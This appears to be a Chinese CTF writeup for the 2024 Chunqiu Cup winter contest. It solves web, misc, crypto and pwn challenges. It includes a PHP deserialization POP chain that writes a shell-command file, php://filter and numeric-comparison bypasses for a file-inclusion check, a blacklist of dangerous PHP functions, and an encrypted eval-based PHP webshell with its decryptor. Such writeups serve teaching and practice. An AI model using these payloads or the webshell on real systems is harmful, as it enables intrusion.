2024年春秋杯网络安全联赛冬季赛-Writeup
本文是2024年春秋杯网络安全联赛冬季赛题解涵盖web,misc等方面
WEB
easy_flask
下发地址后,进入容器:

这里直接查看web应用:
猜测是ssti注入,
没有过滤,直接用hackbar的ssti注入即可:

成功得到flag
flag{48ad0cde8345c8b2608933ac4e85147e}
file_copy
这个题目考察了cve-2024-2961
分析链接:https://xz.aliyun.com/t/12939?time__1311=GqGxuD9Qi%3Dn4lrzG7Dy7fTHPriIx3x
工具链接:https://github.com/synacktiv/php_filter_chains_oracle_exploit
直接利用工具即可:

得到flag:
flag{a0bbd862-f9a1-4c0c-bc72-19c242a07113}
easy_ser
下发赛题后,拿到源码:
<?php
//error_reporting(0);
function PassWAF1($data){
$BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec", "pcntl_exec", "passthru", "popen", "putenv");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}
function PassWAF2($str){
$output = '';
$count = 0;
foreach (str_split($str, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
}
$output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
$count += 16;
}
return $output;
}
function PassWAF3($data){
$BlackList = array("\.\.", "\/");
foreach ($BlackList as $value) {
if (preg_match("/" . $value . "/im", $data)) {
return true;
}
}
return false;
}
function Base64Decode($s){
$decodeStr = base64_decode($s);
if (is_bool($decodeStr)) {
echo "gg";
exit(-1);
}
return $decodeStr;
}
class STU{
public $stu;
public function __construct($stu){
$this->stu = $stu;
}
public function __invoke(){
echo $this->stu;
}
}
class SDU{
public $Dazhuan;
public function __wakeup(){
$Dazhuan = $this->Dazhuan;
$Dazhuan();
}
}
class CTF{
public $hackman;
public $filename;
public function __toString(){
$data = Base64Decode($this->hackman);
$filename = $this->filename;
if (PassWAF1($data)) {
echo "so dirty";
return;
}
if (PassWAF3($filename)) {
echo "just so so?";
return;
}
file_put_contents($filename, PassWAF2($data));
echo "hack?";
return "really!";
}
public function __destruct(){
echo "bye";
}
}
$give = $_POST['data'];
if (isset($_POST['data'])) {
unserialize($give);
} else {
echo "<center>听说pop挺好玩的</center>";
highlight_file(__FILE__);
}PassWAF1过滤了一些危险函数,PassWAF2按16个字符分割字符串:通过 str_split($str, 16),该函数将输入的字符串 $str 每16个字符分割成一块。所以要构造语句的时候,要考虑到字符不能太长,容易被分割,导致不能执行
PassWAF3:检查输入数据中是否含有路径穿越符号(../)。
构造pop链:
wakeup->invoke->tostring
然后利用
<?=`cat /flag`;执行代码,最后在访问我们执行命令后写入的文件。
pop链:
<?php
class STU{
public $stu;
}
class SDU{
public $Dazhuan;
}
class CTF{
public $hackman;
public $filename='frank1q22.php';
}
$sdu=new SDU();
$stu=new STU();
$ctf=new CTF();
$sdu->Dazhuan=$stu;
$stu->stu=$ctf;
$ctf->hackman="PD89YGNhdCAvZmxhZ2A7";
echo urlencode(serialize($sdu));执行并访问:
成功得到flag
flag{f44ab7d7195a1f156aa2fbc1ceba61ec}
easy_php
下发赛题之后,下载源码,审计代码
在file.php可以读取文件,我们查看show函数
虽然有过滤,但是没有过滤/flag
直接读取flag
成功读取:flag{a16dcb7549915546893a27a6d7927615}
easy_code
下发赛题后,通过目录扫描,扫到robots.txt
得到一个路由:/gogogo.php
访问:

得到下述代码:
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$allowedFiles = ['read.php', 'index.php'];
$ctfer = $_GET['ctfer']?? null;
if ($ctfer === null) {
die("error 0!");
}
if (!is_numeric($ctfer)) {
die("error 1!");
}
if ($ctfer!= 667) {
die("error 2!");
}
//溢出
if (strpos(strval($ctfer), '7')!== false) {
die("error 3!");
}
$file = $_GET["file"];
if ($_COOKIE['pass'] == "admin") {
if (isset($file)) {
// 改进的正则表达式,检查是否不存在 base|rot13|input|data|flag|file|base64 字符串
if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {
// 先检查文件是否在允许的列表中
echo "prohibited prohibited!!!!";
} else {
echo "试试read.php";
include($file);
}
}
}
?>这里前三个if,可以用科学计数法加四舍五入绕过
payload:
ctfer=6.66999999999999999999999999999999999999999e2这样就能构造溢出
现在就让尝试读取read.php了,由于提示了用php://filter绕过读取,可以看到把常见的编码形式过滤掉了,这里通过使用convert.iconv去修改字符集使用
payload:
file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php然后再把cookie值:pass=admin
完整payload:
/gogogo.php?ctfer=6.66999999999999999999999999999999999999999e2&&file=php://filter/convert.iconv.utf-8.utf-16le/resource=read.php
COOKIE: pass=admin
成功读取

成功得到flag
flag{d91ea23e927b0e2dca64624cf4c867ca}
MISC
See anything in these pics?
下载拿到附件后:

根据图片名字提示:Aztec,猜测是Aztec码,找个在线网站进行读取
得到:5FIVE 压缩包密码
把解压出来的图片放到随波逐流中:

存在文件隐藏:提取出来之后:
又放到随波逐流中:爆破宽高之后,直接得到flag
flag{opium_00pium}
简单镜像提取
从流量包中,利用binwalk提取出来镜像文件
![]()
直接用txt打开文件
直接得到flag
flag{E7A10C15E26AA5750070EF756AAA1F7C}
压力大,写个脚本吧
通过分析,发现是个套娃解密,但是不同的是,要根据当前目录下中的txt文件base解密之后,当作密码,在进行解密,所以写出脚本
脚本:
import zipfile
import base64
import os
def extract_zip(zip_path, password=None, extract_to='frank1q22'):
try:
# 确保解压目录存在,不存在则创建
if not os.path.exists(extract_to):
os.makedirs(extract_to)
with zipfile.ZipFile(zip_path, 'r') as zip_ref:
# 如果提供密码,则尝试使用密码解压
if password:
zip_ref.setpassword(password.encode('utf-8'))
zip_ref.extractall(extract_to) # 解压到指定目录
print(f"成功解压: {zip_path} 到 {extract_to}")
except Exception as e:
print(f"解压失败: {zip_path}, 错误: {e}")
def decode_base64(password_file):
"""从文件中解码Base64密码"""
try:
with open(password_file, 'r') as f:
encoded_password = f.read().strip()
decoded_password = base64.b64decode(encoded_password).decode('utf-8')
return decoded_password
except Exception as e:
print(f"读取或解码密码失败: {password_file}, 错误: {e}")
return None
def append_password_to_file(password, file_path="1.txt"):
"""将密码追加到1.txt文件"""
try:
with open(file_path, 'a') as f:
f.write(password + "\n") # 每个密码占一行
print(f"密码 {password} 已添加到 {file_path}")
except Exception as e:
print(f"写入密码到文件失败: {file_path}, 错误: {e}")
def main():
# 假设所有文件都在同一个文件夹下
current_dir = os.getcwd() # 获取当前工作目录
extract_to = os.path.join(current_dir, 'frank1q22')
# 创建 1.txt 文件,如果已存在则清空
password_file_path = os.path.join(current_dir, "1.txt")
if os.path.exists(password_file_path):
os.remove(password_file_path)
# 初始的ZIP文件为zip_100.zip
zip_file = os.path.join(current_dir, 'zip_100.zip')
while True:
print(f"正在检查文件: {zip_file}")
# 检查当前ZIP文件是否存在
if os.path.exists(zip_file):
print(f"正在处理文件: {zip_file}")
# 解压当前ZIP文件
if zip_file == os.path.join(current_dir, 'zip_100.zip'):
# zip_100.zip不需要密码直接解压
extract_zip(zip_file, extract_to=extract_to)
else:
# 获取对应的密码文件路径,密码文件的命名规则是 'password_数字.txt'
current_number = int(zip_file.split('_')[1].split('.')[0]) # 获取当前zip文件的数字部分
password_file = os.path.join(extract_to, f'password_{current_number}.txt') # 构造密码文件的路径
if os.path.exists(password_file):
password = decode_base64(password_file)
if password:
# 将密码添加到1.txt
append_password_to_file(password, password_file_path)
extract_zip(zip_file, password, extract_to)
else:
print(f"跳过解压 {zip_file},因为无法获取密码")
break
else:
print(f"没有找到密码文件: {password_file}")
break
# 下一层压缩包的文件名为zip_xxx.zip,路径应当指向'aaa'目录
# 通过提取当前文件名中的数字部分递减
current_number = int(zip_file.split('_')[1].split('.')[0]) # 获取当前zip文件的数字部分
next_number = current_number - 1 # 递减数字
next_zip_file = os.path.join(extract_to, f"zip_{next_number}.zip") # 构造下一个ZIP文件的路径
# 打印调试信息,检查路径是否正确
print(f"下一文件: {next_zip_file}")
# 如果下一个ZIP文件不存在,退出
if not os.path.exists(next_zip_file):
print("没有找到下一个ZIP文件,解压结束。")
break
# 更新zip_file为下一个ZIP文件
zip_file = next_zip_file
else:
print(f"{zip_file} 文件不存在,解压结束。")
break
if __name__ == '__main__':
main()得到hint
把所有密码全部弄到一个文本中
发现了图片头,经过调换,得到了一张二维码图片,扫码即可得到flag
扫描:
flag{PASSWORDs_is_fl@g!}
简单算术
下载附件以后,根据题目提示,直接xor直接爆破即可:

成功得到flag{x0r_Brute_is_easy!}
Weevil's Whisper
拿到流量包:先用工具看看:

存在webshell流量,这里提取出来:这个加密的webshell
<?php
$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";
function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}
?>
相当于执行的命令的结果,会加密以后呈现出来,写一个解密脚本
<?php
$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";
// 反异或函数
function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
// 解密函数
function decrypt($data, $k, $kh, $kf) {
// 1. 移除前缀和后缀
if (preg_match("/$kh(.+)$kf/", $data, $matches) == 1) {
$encoded_data = $matches[1]; // 获取加密数据部分
// 2. Base64解码
$decoded_data = base64_decode($encoded_data);
// 3. 反异或
$xored_data = x($decoded_data, $k);
// 4. 解压缩
$uncompressed_data = gzuncompress($xored_data);
return $uncompressed_data;
}
return false;
}
// 示例:解密输入数据
$data = 'lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92
';
$decrypted = decrypt($data, $k, $kh, $kf);
if ($decrypted !== false) {
echo "解密后的数据:\n";
echo $decrypted;
} else {
echo "解密失败!";
}
?>
然后解密:
成功得到flag
flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
find me
下载附件导入到我的世界save文件夹中,然后启动游戏
经过一番探寻,找到了一个key
猜测是刚才flag.rar的密码:cwqeafvfwqead
解密之后得到1.txt
随波逐流一把梭得到flag

flag: flag{535e0a20-189e-4049-ab30-dec60bac91b8}
NetHttP
下载附件,得到一个流量包:
直接看http流的内容:

在流1里面得到一串代码:
from flask import Flask,request,render_template_string,Response,session
app = Flask(__name__)
app.config['SECRET_KEY'] = 'gdkfksy05lx0nv8dl'
@app.route("/")
def index():
return open(__file__).read()
@app.route("/rce",methods=["GET"])
def rce():
data = request.args.get("name","Guest")
return render_template_string(f"Welcome {data}")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8989,debug=False)这里得到了一个key:gdkfksy05lx0nv8dl
然后继续阅读下去,在流13中得到了一个私钥
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----然后发现后面是盲注,提取出来后得到
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ==RmFrZSBGTGFnCm5vIGhlcmUK
删掉后面的部分
UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQ
base64之后:
S0I3iWhvszKbOM/OalKTA0fpm5O5chVVnYGyKd5nV4erAzRbV6V6w8b/UiOfQEc3Ijh00hFjYFU1HaxNub9GnlPS/lcam5mATkf2sJS6JgpJo6AShVRxWDYKKrojeUeBZj5MEPI8/4DGGGuHFxmx2bxAahdDe1cGnjTZGWONpNI=
这里直接用刚才的key加密,得到私钥
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
# 假设你知道密码,用来解密加密的私钥
password = b"gdkfksy05lx0nv8dl" # 请替换成实际的密码
# 加载加密的私钥
encrypted_pem = b"""
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA
MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E
0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF
kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla
Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c
s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo
Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp
BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE
yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8
fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H
T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt
KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU
RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi
DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT
pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG
qUVmlGScmkU=
-----END ENCRYPTED PRIVATE KEY-----
"""
# 解密私钥
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
private_key = serialization.load_pem_private_key(
encrypted_pem,
password=password, # 这里提供密码来解密
backend=default_backend()
)
# 保存解密后的私钥
with open("private_key.pem", "wb") as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
))
print("私钥已解密并保存到 private_key.pem")
得到新的私钥:
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgGsWCFOw+ZSJ3SAS7m0UcsCWYgEPdEIkY7hwCLMspGuvVpdZ/SuF
vf4YzQ3iOQT9eKAA0pjqiypo/J8NsG5NJg2dCm1n093gsbbRqKZTBKAqios0zHRx
nuzFGivQNgiiBzrB0IZKQJsC3A8za2y4PZ8dIYz1A3n6sAp9auwfyEDzAgMBAAEC
gYBEGkP7ba6cH71IW6HUL0/3WOxE/l4SfnAI6P8va/G5Jk5sfOd8WVcGFSG7daaL
nOOs5jkI1QjiVNhsEtmknF3ZMfBZtWECas28XGeKBAP3+uhPfeetLpt0UbGuw1is
DXSHFOMLpMn4MeXyC6IrhPE4Yxtt1W96Azs2iIcgq3DuuQJBAKWSY8ZjJNAAfGVJ
ISKsPtoA+DeUj4rGnvmhXy4C7deB+FcEmcZdpEbO8oWRpebKRZcXaLcpt2Ev99Gm
N//txj0CQQClkmPGYyTQAHxlSSEirD7aAPg3lI+Kxp75oV8uAu3XgfhXBJnGXaRG
zvKFkaXmykWXF2i3KbdhL/fRpjf/7cbvAkEAn9gyJwb0NTMi5Q2yxayQiRrCh7YO
1iVmuQ0HvH3rbFD3ldrFMnKY9Bs6m6S/C45fnLxmxd2qQlNy5p2YFqZQ6QJAfotR
GKpj01nbuWnYGnD9JI+DJq+zucQucupEHZ19fK3ISXGpufON/9RhhXaZDrhf0afB
j+QhVPVdee2JdWCdHwJAL3BqQAhFg4GT0jvIxla+l6FbQNLVtiTF/5z6MSNbKCxt
/CsGqnP/m3qTJkUOdHZb2VAOLrn5kzdzlqy/gWr1NA==
-----END RSA PRIVATE KEY-----
拿个在线网站解密即可:

得到flag
flag{343907d2-35a3-4bfe-a5e1-5d6615157851}
音频的秘密
得到附件以后,提示弱密码,猜出为123
得到flag.zip,进行明文爆破
得到key之后,提取出来图片
最后直接用zsteg获得flag
flag:flag{Y1_Shun_jian_Fa_ZE_Dian_Fu}
Crypto
通往哈希的旅程
在数字城,大家都是通过是通过数字电话进行的通信,常见是以188开头的11位纯血号码组成,亚历山大抵在一个特殊的地方截获一串特殊的字符串"ca12fd8250972ec363a16593356abb1f3cf3a16d",通过查阅发现这个跟以前散落的国度有点相似,可能是去往哈希国度的。年轻程序员亚力山大抵对这个国度充满好奇,决定破译这个哈希值。在经过一段时间的摸索后,亚力山大抵凭借强大的编程实力成功破解,在输入对应字符串后瞬间被传送到一个奇幻的数据世界,同时亚力山大抵也开始了他的进修之路。(提交格式:flag{11位号码})
直接通过hashcat爆破
188+8位数字 指定hash
ca12fd8250972ec363a16593356abb1f3cf3a16d
成功得到电话:18876011645
你是小哈斯?
下载附件得到:一个txt文本:全是哈希值,
直接爆破即可:
import hashlib
# 从txt文件中读取哈希值
def read_hashes_from_file(filename):
with open(filename, 'r') as file:
hashes = file.read().splitlines()
return hashes
# 可尝试的字符集合
char_set = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-'
# 暴力破解函数
def find_original_string(target_hash):
for char in char_set:
# 计算单个字符的sha1哈希
hash_obj = hashlib.sha1(char.encode())
if hash_obj.hexdigest() == target_hash:
return char
return None
# 主程序,读取哈希值并查找每个哈希值对应的原始字符
def main():
# 从文件中读取哈希值
hashes = read_hashes_from_file("文件路径")
# 存储所有找到的字符
found_string = ""
for hash_value in hashes:
result = find_original_string(hash_value)
if result:
print(f"哈希值 {hash_value} 对应的字符是: {result}")
found_string += result # 将找到的字符添加到字符串中
else:
print(f"哈希值 {hash_value} 无法找到对应字符")
# 输出最终组合的字符串
print(f"组合成的字符串是: {found_string}")
if __name__ == '__main__':
main()
最终得到flag:

flag{game_cqb_isis_cxyz}
PWN
riya
下载附件,丢尽IDA分析:
看main函数
这个地方,有两个参数,输入n的话,就会调用函数 sub_D74()

直接会执行一个/bin/sh的shell返回过来,直接输入命令即可,连接nc
得到flag
flag{eab82f15-bde8-47cb-8c3c-71ec727dd8e0}